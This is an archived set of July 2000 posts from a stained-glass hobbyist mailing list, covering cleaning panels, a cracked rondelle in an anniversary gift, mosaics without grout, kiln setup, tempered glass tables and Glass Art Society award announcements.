To: Gailchat1@aol.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Cleaning copper foil panels...
Date: Sun, 23 Jul 2000 15:15:10 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hi Rhonda

As a tule I put a little Pledge on a cloth and treat them as any other
piece of fine furniture.

NEVER use windex on them or anything like that. Windex removes the
protective layer of wax on them to which helps prevent deteriation of
the metals.

Skip
Southern Exposure Stained Glass Supply, Inc
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From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: Family Account <shad@mail2.nai.net>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Jewels
Date: Sun, 23 Jul 2000 15:31:04 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hi Everyone:  I am trying to find triangular faceted jewels.  I contacted
C&R Loo and the only color they had was clear.  Does anyone have a source
for this?  Thanks, Peggy

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From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Plaster of Paris
Date: Sun, 23 Jul 2000 23:41:29 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Sarah Elizabeth,
I have received several plaster of paris coaster shaped pieces that my
daughter made and didn't paint.  I glued glass on and grouted, then used a
water repellent on it.  They work just fine and haven't fallen apart yet
after 2+ years.
Moya

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From owner-glass Mon Jul 24 02:58:29 2000
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From: "Jones B.S." <b.s.jones@bham.ac.uk>
To: "'Glass@bungi.com'" <Glass@bungi.com>
Content-Type: text/plain;
Subject: Uk Glass supplier addresses
Date: Mon, 24 Jul 2000 10:34:19 +0100
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Hi,
Somebody Asked about UK Stained glass suppliers...
These people are where I get My glass from and they stock most things..
Other than Hetleys in London which I get stuff via mail order..

Birmingham Glass Studios Ltd
Unit 6-100, Edward Rd Balsall Heath
Birmingham West Midlands B12 9LS
Business Type: STAINED GLASS SUPPLIERS 
Tel: 0121 440 0909 

                                                               

Brandon S. Jones
UK
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: New E-mail address for Jewelry workshop
Date: Mon, 24 Jul 2000 09:00:42 -0400
Message-ID: <1970Jan1.000.0>
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Gang,

The IGGA sent out a press release this month about an
intensive jewelry workshop in Mexico.  Just passing this
along, as they have a new email address if you need
to contact them.

Christie A. Wood - IGGA Exec. Director
North Wales, PA USA
-------------Forwarded Message-----------------
From:	"Raul Ybarra", INTERNET:mail@raulybarra.com
To:	[unknown], Ensembles
Date:	07/13/2000  3:35 PM
RE:	New E-mail address

Dear Christie:

I want to let you know that we have a new e-mail address
for our Intensive jewelry workshops in San Miguel Allende,
Mexico is mail@raulybarra.com

Our web site address remains the same
http://www.geocities.com/ecoart7/jewelryclasses

Sincerely,
Raul Ybarra=
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From owner-glass Mon Jul 24 06:30:28 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: IGGA Press Release:Bruce Laughlin classes cancelled
Date: Mon, 24 Jul 2000 09:00:39 -0400
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>From the offices of Creativ Endeavors, Inc.:

Christie A. Wood - IGGA Exec. Director
North Wales, PA USA
-----------------------------------
7/7/00

Due to illness, the summer and fall workshops of R. Bruce Laughlin,
Laughlin Studios, 310 hackmatack St., Manchester, CT, are cancelled.

Creativ Endeavors, Inc.
310 Hackmatack St., Manchester, CT 06040
860-646-0898
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From owner-glass Mon Jul 24 06:47:26 2000
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From: Gailchat1@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Rondelle cracked....now what!
Date: Mon, 24 Jul 2000 09:14:49 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Well, seems I am doomed!
My husband and I just finished soldering an English Muffle Victorian design 
panel (approx 15"x17"). In the process, I heard a crack. (I was not currently 
soldering Rondelle when it cracked).  
We purchased 4 antique Rondelles from Blenko to use as an accent piece in 
each corner.  (should have bought a back up piece).  
We are making this as a gift for a very close couple for their 25th wedding 
anniversary. They renew their vows this weekend, and we leave this Thursday 
for the drive to their house. (they are out of state).
So, no time to order from Blenko and replace it.  
The rondelle is about 2 1/4", amber in color. The crack runs from one side of 
the rondelle to the other. The rondelle is located in the top right corner 
(at least it is not on the bottom).  It is not noticeable from some angles, 
noticable from others.
My questions are this.......
1) tacky to give this as a gift when it has a crack? (my husband just calls 
it a signature piece) <G>
2) is one able to fill the crack with something I could readily find?
3) why did this crack?  (could have had a small crack made worse by heat of 
soldering?)
4) when we soldered 'nipple' side down, we had the weight of the panel 
supported by towels in the center, did this help/hurt?

Lesson learned......buy extra Rondelles for project!

Ronda...bummed and out of time
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From owner-glass Mon Jul 24 11:31:41 2000
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X-Path: stainedglass.co.uk!studio
From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Rondelle cracked....now what!
Date: Mon, 24 Jul 2000 19:26:29 +0100
Message-ID: <3.0.5.32.20000724192629.007b94e0@mailhost.stainedglass.co.uk>
References: <<1970Jan1.000.0>>
Precedence: bulk

Sorry to hear the sad tale Ronda.
I have no solution to the problem except removing the piece and using UV
glue or another clear adhesive to stick the pieces together and replacing
it in the panel.  This may not turn out too obvious, as handspun roundels
often have 'crease' marks and irregularities from the start.
I assume you are foiling and soldering the panel - not using traditional
lead came?
I always tell my students to only solder partway round a small circle of
glass if it is surrounded by larger pieces and let it cool down completely
before continuing, doing the whole in at least three 'goes', as enclosing a
small piece of glass in hot solder often will result in a heat fracture -
not always immediately but sometimes a minute or so later while the glass
tries to cope with the stress.
Particularly with spun roundels which have a thick centre, thin middle
section and often thicker rims so do not react consistently to heat.  I
learned this many years ago when making a 'roundel' lamp using my
collection of genuine old handspun roundels (many over 100 years old) and
succeeding in cracking over half before I noticed what was happening!!

Regards
EliZabeth in Bournemouth

Bournemouth Stained Glass
790 Wimborne Road
Bournemouth
Dorset
BH9 2DX
Tel : 00 44 1202 514734
Fax : 00 44 1202 250239
http://www.stainedglass.co.uk
Charter Member RAGS
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From owner-glass Mon Jul 24 12:26:53 2000
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X-Path: hotmail.com!mrsdesigns
From: "Michele S" <mrsdesigns@hotmail.com>
To: glass@bungi.com
Content-Type: text/plain; format=flowed
Subject: Glass Visions
Date: Mon, 24 Jul 2000 15:17:18 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi~

The procrastinator here...Anyone know of an unused ticket to Saturday's 
session at Glass Visions?  I just went to register for the whole weekend, 
and could only register for Sunday (Saturday's booked).  There are about a 
dozen or so bungians I know of who will meet each other there, so I'd like 
to go Saturday....Suggestions welcome!

Michele
________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com

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From owner-glass Mon Jul 24 13:02:46 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Jewels
Date: Mon, 24 Jul 2000 15:14:06 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Message text written by "Peggy W. Johnsen"
>Hi Everyone:  I am trying to find triangular faceted jewels.  I contacte=
d
C&R Loo and the only color they had was clear.  Does anyone have a source=

for this?  Thanks, Peggy<

Sorry, none of the distributors I deal with had any triangular jewels.
Could you cut a square into 2 triangles?  Squares come in lots and
lots of colors.

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Jul 24 13:26:01 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Mosiacs
Date: Mon, 24 Jul 2000 15:14:04 -0400
Message-ID: <1970Jan1.000.0>
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Message text written by Peggy L Kinnetz
>Sorry Christie, I've been back on my mail-- I think my question had to d=
o
with the necessity of grout--do you really have to use grout or cement. =

My idea was to make as continuous a gradual transition from one color to
the next, by spacing the glass pieces as close to one another as possible=

(in a direct method of mosaic, using a glue to hold down the pieces on a
board or other hard surface.).  I'd like to try a painterly style of
panel, where there are lots of color transitions, rather than solid areas=

outlined by a line as in traditional stained glass or mosaic. Peggy<

Yes, you can make mosaics without using grout or cement inbetween
the pieces, as long as you use a good-quality glue on the back of
the glass, and you butt the ends of the glass pieces up against each
other.  We used clear Red Devil glue on the mosaic project for
Children's Hospital of Philadelphia, and the artist specifically did
not want grout to show...just glass.  Where there were tiny gaps between
the pieces, we filled that in with more of the clear Red Devil.  So....
no grout.

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Jul 24 14:03:37 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Cecily and Ralph Wood <cecnralph@home.com>
Subject: Re: polarizing light
Date: Mon, 24 Jul 2000 20:50:56 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Well, as I haven't seen a reply to this question, I will add my
comments.
        I do not see how a polarized light source can do anything more
than tell you whether there is stress currently in the glass or not.  If
there is some light "signature" for various  CoEs I would be surprised.
        If the manufacturer can give you more details about this
"magical" product, I would be interested in extending my knowledge of
how to determine the compatibilities of glasses.

Steve

In message <1970Jan1.000.0@?>, Cecily and Ralph Wood
<cecnralph@home.com> writes
>I've seen ads for a lamp (looks rather like a 12v flashlight) that
>claims to aim polarizing light at glass you are thinking of fusing, and
>that way you can tell if the COEs are compatible for fusing.  They claim
>that way you don't have to keep the various compatibles together (and
>keep track of which is which) but can just store your glass normally.
>Anybody used this and does it really work? - Cec
>
>--
>*********************************************************************
>*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
>*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
>*********************************************************************
>
>
>----
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Mon Jul 24 14:05:58 2000
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X-Path: fbol.com!Patty.McMaster
From: Patty.McMaster@fbol.com
To: GLASS@BUNGI.COM
Content-Type: text/plain; charset=us-ascii
Subject: Gatewayed mail message
Date: Mon, 24 Jul 2000 15:42:19 -0500
Message-ID: <1970Jan1.000.0>
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I have a question about mosaics
I have inherited a large tempered patio door
If I cover this w/globs, cut glass, rondells, whatever
will it be too heavy after I grout it to safely insert in a wood frame?-
for a table ( it will have two parts since the door is 6' wide)
or shall I just use it as a light box (LARGE LIGHT BOX - :) )
but since it is tempered - I really cannot downsize it, right?

 Any info ?

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From owner-glass Mon Jul 24 15:35:55 2000
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From: Gailchat1@aol.com
To: GLASS@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: My finished panel....
Date: Mon, 24 Jul 2000 18:10:19 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Below is the URL that you can use to visit my photopoint album, and take a 
gander at our finished panel. The cracked rondelle is in the top right 
corner, and as you can see from a staight on view, is not visible.
Just thought I'd share. If a password is asked for, use TOLE. I password 
protected it to keep my friend from stumbling on it,and ruining the surprise.

      http://albums.photopoint.com/j/AlbumIndex?u=24390&a=7342741   

Ronda
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From owner-glass Mon Jul 24 16:39:10 2000
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X-Path: island.net!seaspray
From: "synergy glass" <seaspray@island.net>
To: <Gailchat1@aol.com>
Content-Type: text/plain;
Subject: Re: My finished panel....
Date: Mon, 24 Jul 2000 16:27:35 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi ronda

Thanks for posting the pix...I had a lot of possible "fixes" in mind earlier
today but seeing the panel helps me eliminate some of the less useful ones.
By the way, it's a wonderful panel...is it your own design?

Here are a few ideas you might want to consider:

1) do nothing and pretend it's supposed to be that way.   You could just say
it symbolizes the stresses that come with 25 years of marriage...little
stresses that leave the whole (marriage) intact.  Good on them for making it
25 years!!

2) remove the upper right and lower left rondelles and replace them with
another complementary colored rondelle  that fits the design (of course this
assumes you have other rondelles in the right color...

3) remove all 4 rondelles and replace them with the light green english
muffle in the border.  This would look okay in the finished design and only
you would know there was another plan.

4) it looks like lead came.  You could do a patch over the crack on the
damaged rondelle and add patches running the same way on all other rondelles
(mirror images to keep the design symmetry going) and pretend this is a
design feature.  To do this, split a piece of the 1/4" (?) came you used to
construct the window through the heart.  Remove the heart leaving only the
top piece of the came. Cut to length and solder into place covering the
crack on the front.   Add patches to match on all other rondelles.  Patching
the back would be more difficult because of the dimensional nature of
rondelles, so I'd just do patches on the front.  This might look hokey and
shouldn't be done unless it "fits" with the design.

This may or may not work as a unique design element depending on direction
of crack (can't really tell from the photos).  This is a good trick for
doing repairs on symmetrical designs where one piece is cracked.  You can
sometimes patch over it and add a cosmetic patch to match on the opposite
side to preserve design integrity.

Good luck with it.  I'm sure no matter what you decide your friends will
love it.

C.

Carol Swann
Synergy Glass & Creative
www.igga.org/synergy
seaspray@island.net



-----Original Message-----
From: Gailchat1@aol.com <Gailchat1@aol.com>
To: GLASS@bungi.com <GLASS@bungi.com>
Date: Monday, July 24, 2000 3:52 PM
Subject: My finished panel....


>Below is the URL that you can use to visit my photopoint album, and take a
>gander at our finished panel. The cracked rondelle is in the top right
>corner, and as you can see from a staight on view, is not visible.
>Just thought I'd share. If a password is asked for, use TOLE. I password
>protected it to keep my friend from stumbling on it,and ruining the
surprise.
>
>      http://albums.photopoint.com/j/AlbumIndex?u=24390&a=7342741
>
>Ronda
>----
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>Archives available at http://www.bungi.com/glass
>

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From owner-glass Mon Jul 24 17:08:32 2000
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X-Path: go.com!officerjqg
From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: Re: My finished panel....
Date: Mon, 24 Jul 2000 16:58:24 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Thats a neat piece.  Now I know what a rondelle is.  I sugest when you present it to them, hold it on that corner.  If someone else picks it up make sure that they hold it in that corner.  As long as you have someones hand over the corner they will never know.

-----Original Message-----
From: Gailchat1@aol.com
To: GLASS@bungi.com
Date: Mon Jul 24 15:10:19 PDT 2000
Subject: My finished panel....

>Below is the URL that you can use to visit my photopoint album, and take a 
>gander at our finished panel. The cracked rondelle is in the top right 
>corner, and as you can see from a staight on view, is not visible.
>Just thought I'd share. If a password is asked for, use TOLE. I password 
>protected it to keep my friend from stumbling on it,and ruining the surprise.
>
>      http://albums.photopoint.com/j/AlbumIndex?u=24390&a=7342741   
>
>Ronda
>----
>For subscription changes, please mail to: glass-request@bungi.com
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>Archives available at http://www.bungi.com/glass

James Garner
___________________________________________________
GO Network Mail                                    
Get Your Free, Private E-mail at http://mail.go.com


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From owner-glass Mon Jul 24 20:06:21 2000
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From: "Karen K" <giapet@softhouse.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Setting up Kiln?
Date: Mon, 24 Jul 2000 22:49:15 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Just got an Evenheat 23 x 13 glass kiln.  Directions say it is best to =
set the kiln (with 8" stand) on a concrete floor or a protective board =
under it to prevent the floor from discoloring.  I have foam-backed =
carpet in the shop.  Which would be adequate enough?

1) to use 1/2" durock (cement board) directly on the carpet. =20
The cement board would hold some heat but not sure how much. =20

2) 1/2" durock supported by several 2 x 4's to create some air space.

3) use the more expensive insulating board from a wood stove company =
directly on the carpet.

Thanks in advance for any advice.
Karen
giapet@softhouse.com


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From owner-glass Tue Jul 25 05:35:37 2000
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From: "steve" <charliehodge@ltdarkpoet.junglelink.co.uk>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: cleaning glass
Date: Mon, 24 Jul 2000 18:10:45 +0100
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This is a multi-part message in MIME format.

------=_NextPart_000_0065_01BFF59A.7C7D0500
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	charset="iso-8859-1"
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Cleaning leaded work in place use water and vinegar (not your balsamic =
or wine type just your common or garden variety) and newspaper scrunched =
up, wash and rub dry off with more paper. sparkling ones guaranteed. =
copper foil work the same method applies or wash it in a bowl of soapy =
water. if you worry about dust on your work do not use any mineral based =
products i.e. washing up liquid, as this creates static and attracts =
dust.=20
Finally a message to any of my window cleaning customers don't wax your =
windows as the smears will be terrible and I wont be able to do anything =
about it.

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<DIV><FONT face=3DArial size=3D2>Cleaning leaded work in place use water =
and vinegar=20
(not your balsamic or wine type just your common or garden variety) and=20
newspaper scrunched up, wash and rub dry off with more paper. sparkling =
ones=20
guaranteed. copper foil work the same method applies or wash it in a =
bowl of=20
soapy water. if you worry about dust on your work do not use any mineral =
based=20
products i.e. washing up liquid, as this creates static and attracts =
dust.=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Finally a message to any of my window =
cleaning=20
customers don't wax your windows as the smears will be terrible and I =
wont be=20
able to do anything about it.</FONT></DIV></BODY></HTML>

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From owner-glass Tue Jul 25 06:27:30 2000
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X-Path: compuserve.com!Ensembles
From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: IGGA Press Release:Glass Art Society's 30th Annual Conference
Date: Tue, 25 Jul 2000 09:05:27 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

The following press release is from the Glass Art Society.
This is being pass along to IGGA members, and is not
an endorsement of G.A.S. or the conference...just info
only.  Enjoy.

Christie A. Wood - IGGA Exec. Director
North Wales, PA USA
-------------Forwarded Message-----------------
From:	Glass Art Society, INTERNET:cynthiasharp@earthlink.net
To:	[unknown], INTERNET:members@igga.org
Date:	07/24/2000  3:49 PM
RE:	Glass Art Society's 30th Annual Conference
 =

Following and attached are two press releases regarding the Glass Art =

Society's 30th Annual Conference,  Bridge to the Future.   Hosted and =

co-chaired by UrbanGlass, the conference took place June 8-11, 2000, =

in Brooklyn, New York.

FOR DIGITAL IMAGES OR PHOTOS OF THE AWARD WINNERS or OTHER CONFERENCE =

EVENTS, PLEASE CONTACT THE GLASS ART SOCIETY.

GLASS ART SOCIETY
1305 Fourth Avenue, Suite 711
Seattle, WA  98101-2401 USA
Tel: 206-382-1305
Fax: 206-382-2630
E-Mail: GlassArtSoc@earthlink.net
Web: www.glassart.org

Contact: Penny Berk, Executive Director
Cynthia Sharp, Communications Director
FOR IMMEDIATE RELEASE

Glass Art Society Presents
Student Exhibition Awards
at the 30th Annual G.A.S. Conference

THE STUDENT EXHIBITION

A highlight of the annual Glass Art Society Conference since 1984, =

the Student Exhibition features work by G.A.S. student members =

enrolled in glass programs around the world.  This year in Brooklyn, =

the work represented the best of students from the United States, =

Denmark, Sweden, Japan, Australia, the UK, and more, with 100 works =

on display at Long Island University's Triangle Gallery, in the heart =

of the conference activities.  The show is open to any student who is =

a current member of G.A.S. and wishes to participate.
Coordinated with G.A.S. Board Members by Olga Valle Tetkowski of =

UrbanGlass, the show was mounted in only one day, and on display for =

two.  Sales were brisk as conference attendees eagerly browsed the =

art of tomorrow's "big names".  (G.A.S. does not take a percentage of =

sales - the full amount goes directly to the student.)

THE AWARDS

In recognition of the talent and effort that the students' work =

exhibits, G.A.S. offers the Student Exhibition Awards:  First Prize, =

Second Prize, Third Prize and 4 Honorable Mentions.  This year's =

awards were juried by Keynote Speaker James Carpenter of James =

Carpenter Design, Honorary Lifetime Membership Award winner Ginny =

Ruffner and Lifetime Achievement Award winner Klaus Moje.  Student =

Exhibition Awards are not just pieces of paper, but practical items =

that the serious glass students need to create their work. =

Generously donated by G.A.S. Business Members (please see Donors list =

below), the awards included blowpipes, torches, cash, books, =

subscriptions to glass-related magazines and a variety of =

glassworking tools and products.


THE AWARD WINNERS

First Prize: Zara Collins, Sydney College of Arts, University of =

Sydney, Australia
Second Prize: Timothy Horn, Canberra School of Art, Canberra, Australia
Third Prize: Yorgen Qvest Kuinsland, California College of Arts & =

Crafts, Oakland, California
Honorable Mentions:
Rika Haws, Sheridan College, Ontario, Canada
Nicole Chesney, Canberra School of Art, Canberra, Australia
Tommi Terasto, University of Art & Design, Helsinki, Finland
Students from Konstfack University College of Arts, Crafts & Design, =

Stockholm, Sweden (a collaborative piece)

THE AWARD DONORS

C.R. Machine
Digitry Company, Inc.
Jim Moore Tools for Glass
Northstar Glassworks
Whitehouse-Books.com
Uroboros Glass Studios, Inc.
Loctite Corporation
Hub Consolidated
Emhart/Laclede Christy
Cutting Edge Products
Coatings by Sandberg
Cherrywood Mold Shop
HIS Glassworks
Steinert Industries
Object Magazine
Rosen Group

THE GLASS ART SOCIETY CONFERENCE

Over 1,200 glass enthusiasts from 30 countries attended the 30th =

Annual Conference, G.A.S. 2000-Bridge to the Future, held in =

Brooklyn, NY, June 8-11, 2000 and hosted by UrbanGlass. This year's =

theme highlighted the Glass Art Society's commitment to glass art in =

the new millennium. The Brooklyn conference was an exciting =

combination of individual artist presentations, panel discussions, =

and demonstrations by more than 20 artists working in hot glass, =

glass casting, fusing and flameworking.  Glass art exhibitions =

throughout Manhattan and Brooklyn, a tour of artist studios in =

Brooklyn's Red Hook area, auctions, parties and a Technical Display =

of glass-art-related suppliers rounded out the inspiring program.

ABOUT THE GLASS ART SOCIETY

Established in 1971 to encourage excellence and to advance the =

appreciation, understanding and development of the glass arts =

worldwide, the Glass Art Society, (G.A.S.), is a nonprofit =

organization of artists, educators, historians, students, collectors, =

critics, manufacturers and others interested and involved in the =

production, technology and aesthetics of glass.  Founded by a handful =

of artist/educators who wanted to exchange information and ideas =

about the new technologies available, G.A.S. membership has grown to =

over 2,500 and includes members from 46 countries.
###
For photos or more information, please contact the Glass Art Society at:
Tel: 206-382-1305 o Fax: 206-382-2630 o E-mail: =

GlassArtSoc@earthlink.net o Web: www.glassart.org
1305 Fourth Avenue, Suite 711, Seattle, WA  98101-2401 USA

_____________________________________________________

GLASS ART SOCIETY
1305 Fourth Avenue, Suite 711
Seattle, WA  98101-2401 USA
Tel: 206-382-1305
Fax: 206-382-2630
E-Mail: GlassArtSoc@earthlink.net
Web: www.glassart.org

Contact: Penny Berk, Executive Director
Cynthia Sharp, Communications Director
FOR IMMEDIATE RELEASE

Glass Art Society Presents Annual Awards
to Ginny Ruffner and Klaus Moje
at the 30th Annual G.A.S. Conference

Lifetime Achievement Award presented to Klaus Moje for
Exceptional Contributions to the Field of Glass Art

Lifetime Honorary Membership Award presented to Ginny Ruffner for =

Outstanding Service to the Organization

Awards Presented at the Opening Ceremonies of the 30th Annual Glass =

Art Society Conference, held in Brooklyn, New York, June 8-11, 2000

G.A.S. Board Member Richard Whiteley presented Klaus Moje with the =

2000 Lifetime Achievement Award during a moving ceremony in the =

rotunda of the Brooklyn Museum of Art.  Alice Rooney, former =

Executive Director of the Glass Art Society and 1998 Lifetime =

Achievement Award recipient, made the Honorary Lifetime Membership =

Award presentation to Ginny Ruffner.  There was hardly a dry eye in =

the hall when Ms. Ruffner ended her brief remarks with "you ain't =

seen nothin' yet."

GLASS ART SOCIETY ANNUAL AWARDS

Each year G.A.S. awards a Lifetime Achievement Award for exceptional =

achievement in the field of glass art, and an Honorary Lifetime =

Membership Award for service to the organization.  The two awards =

allow G.A.S. to honor seminal artists in this young medium and set a =

standard for emerging artists; it is the recognition by an =

organization of peers that makes these awards particularly meaningful =

to the recipients.

KLAUS MOJE, Lifetime Achievement Award Recipient 2000

Klaus Moje, a pioneer in developing modern methods for slumped and =

fused glass, was the Founding Head of the Glass Workshop, Canberra =

School of Art, from 1982-91.  Prior to that he taught at the Pilchuck =

Glass School; Art and Crafts School, Copenhagen; Royal College of =

Art, London; California College of Arts and Crafts; Rietveld Academy, =

Amsterdam; Kent State University.  Moje has been named an Australian =

Creative Fellow (1995), Honorary Life Member of the =

Arbeitsgemeinschaft Kunsthandwerk in Hamberg, Germany (1996), and =

received the UrbanGlass Award for Innovation in a Glassworking =

Technique.  Moje's work is represented in more than 40 public =

collections worldwide.

GINNY RUFFNER, Honorary Lifetime Membership Award Recipient 2000

Ginny Ruffner's long-time involvement with G.A.S. brought about many =

lasting, positive changes for the organization.   She was chair of =

the 1990 Seattle Conference, and during her presidency in 1991 the =

G.A.S. office was established in Seattle.  She helped convince Alice =

Rooney to come on board as Executive Director, and the organization =

attained a greater level of professionalism.  Since the mid-1980s, =

Ginny Ruffner has been recognized as one of the major artists of the =

studio glass movement.  Her lampworked glass sculpture, which has =

been selected for shows and museums in Switzerland, Australia, Japan =

and the United States, has dazzled audiences with its playful =

imagery, insightful allusions and intelligent commentary.  She =

received her BFA and MFA from the University of Georgia, Athens, and =

currently maintains her studio in Seattle, Washington. In 1995, Ginny =

received the UrbanGlass Award for Outstanding Contributions to Glass.

THE GLASS ART SOCIETY CONFERENCE

Over 1,200 glass enthusiasts from 30 countries attended the 30th =

Annual Conference, G.A.S. 2000-Bridge to the Future, held in =

Brooklyn, NY, June 8-11, 2000 and hosted by UrbanGlass. This year's =

theme highlighted the Glass Art Society's commitment to glass art in =

the new millennium. The Brooklyn conference was an exciting =

combination of individual artist presentations, panel discussions, =

and demonstrations by more than 20 artists working in hot glass, =

glass casting, fusing and flameworking.  Glass art exhibitions =

throughout Manhattan and Brooklyn, a tour of artist studios in =

Brooklyn's Red Hook area, auctions, parties and a Technical Display =

of glass-art-related suppliers rounded out the inspiring program.

ABOUT THE GLASS ART SOCIETY

Established in 1971 to encourage excellence and to advance the =

appreciation, understanding and development of the glass arts =

worldwide, the Glass Art Society, (G.A.S.), is a nonprofit =

organization of artists, educators, historians, students, collectors, =

critics, manufacturers and others interested and involved in the =

production, technology and aesthetics of glass.  Founded by a handful =

of artist/educators who wanted to exchange information and ideas =

about the new technologies available, G.A.S. membership has grown to =

over 2,500 and includes members from 46 countries.
###
For photos or more information, please contact the Glass Art Society at:
Tel: 206-382-1305 o Fax: 206-382-2630 o E-mail: =

GlassArtSoc@earthlink.net o Web: www.glassart.org
1305 Fourth Avenue, Suite 711, Seattle, WA  98101-2401 USA=
----
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From owner-glass Tue Jul 25 12:55:59 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: cleaning glass
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Tue, 25 Jul 2000 15:18:03 +0000
Message-ID: <200007251915.PAA05145@alpha.nad.adelphia.net>
Precedence: bulk


> Cleaning leaded work in place use water and vinegar (not your
> balsamic = or wine type just your common or garden variety) and
> newspaper scrunched = up, wash and rub dry off with more paper.
> sparkling ones guaranteed.

Give some thought to the window's paint before doing that, though. 
Any that's fragile will be gone unless it's first stabilized.

Shameless plug for Julie Sloan's "Conservation of Stained Glass in 
America": see http://aiap.com/sloan.htm  She covers cleaning quite 
thoroughly.


A
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From owner-glass Tue Jul 25 15:00:48 2000
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	for rglass-42; Tue, 25 Jul 2000 14:45:38 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #350 built 2000-Jul-25)
X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Patty.McMaster@fbol.com
Subject: Re: Gatewayed mail message
Date: Tue, 25 Jul 2000 22:41:37 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

You don't indicate how thick the glass is.  This is relevant to
questions about strength.  I would think that it probably is strong
enough for your suggested use if it is 6mm thick, but it must be
supported all the way round the edge to stand up to the use as a table
surface.
        When considering uses of glass you can make use of the knowledge
that tempered (toughened) glass is approximately seven times stronger
than ordinary window glass of the same thickness.  But the thickness of
the glass is critical.
        Yes you are correct, you cannot cut tempered glass.

Steve

 In message <1970Jan1.000.0@?>, Patty.McMaster@fbol.com writes
>I have a question about mosaics
>I have inherited a large tempered patio door
>If I cover this w/globs, cut glass, rondells, whatever
>will it be too heavy after I grout it to safely insert in a wood frame?-
>for a table ( it will have two parts since the door is 6' wide)
>or shall I just use it as a light box (LARGE LIGHT BOX - :) )
>but since it is tempered - I really cannot downsize it, right?
>
> Any info ?
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Tue Jul 25 15:11:23 2000
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	(Smail-3.2.0.94 1997-Apr-22 #350 built 2000-Jul-25)
X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: steve <charliehodge@ltdarkpoet.junglelink.co.uk>
Subject: Re: cleaning glass
Date: Tue, 25 Jul 2000 22:36:31 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Please don't use vinegar.  This is an acid and glass is an alkaline
material.  The acetic acid eats at the surface of the glass, in time
making it dull.  Just the water followed by the newspaper will do the
job, leaving sparkling clean glass, and unaffected lead came (also
subject to corrosion by the acetic acid)

Steve

In message <1970Jan1.000.0@?>, steve <charliehodge@ltdarkpoet.junglelink
.co.uk> writes
>This is a multi-part message in MIME format.
>
>------=_NextPart_000_0065_01BFF59A.7C7D0500
>Content-Type: text/plain;
>       charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
>Cleaning leaded work in place use water and vinegar (not your balsamic =
>or wine type just your common or garden variety) and newspaper scrunched =
>up, wash and rub dry off with more paper. sparkling ones guaranteed. =
>copper foil work the same method applies or wash it in a bowl of soapy =
>water. if you worry about dust on your work do not use any mineral based =
>products i.e. washing up liquid, as this creates static and attracts =
>dust.=20
>Finally a message to any of my window cleaning customers don't wax your =
>windows as the smears will be terrible and I wont be able to do anything =
>about it.
>
>------=_NextPart_000_0065_01BFF59A.7C7D0500
>Content-Type: text/html;
>       charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
><HTML><HEAD>
><META content=3D"text/html; charset=3Diso-8859-1" =
>http-equiv=3DContent-Type>
